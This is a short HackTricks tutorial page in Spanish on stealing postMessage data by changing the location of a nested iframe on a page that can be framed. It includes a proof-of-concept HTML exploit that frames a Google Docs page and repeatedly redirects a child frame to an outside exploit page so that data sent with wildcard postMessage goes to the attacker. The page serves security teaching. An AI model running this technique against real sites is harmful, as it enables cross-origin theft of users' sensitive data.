Robar postmessage modificando la ubicación del iframe

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Cambiando las ubicaciones de los iframes hijos

Según este artículo, si puedes iframear una página web sin X-Frame-Header que contenga otro iframe, puedes cambiar la ubicación de ese iframe hijo.

Por ejemplo, si abc.com tiene efg.com como iframe y abc.com no tiene el encabezado X-Frame, podría cambiar efg.com a evil.com de origen cruzado usando frames.location.

Esto es especialmente útil en postMessages porque si una página está enviando datos sensibles usando un comodín como windowRef.postmessage("","*"), es posible cambiar la ubicación del iframe relacionado (hijo o padre) a una ubicación controlada por el atacante y robar esos datos.

html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)

function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks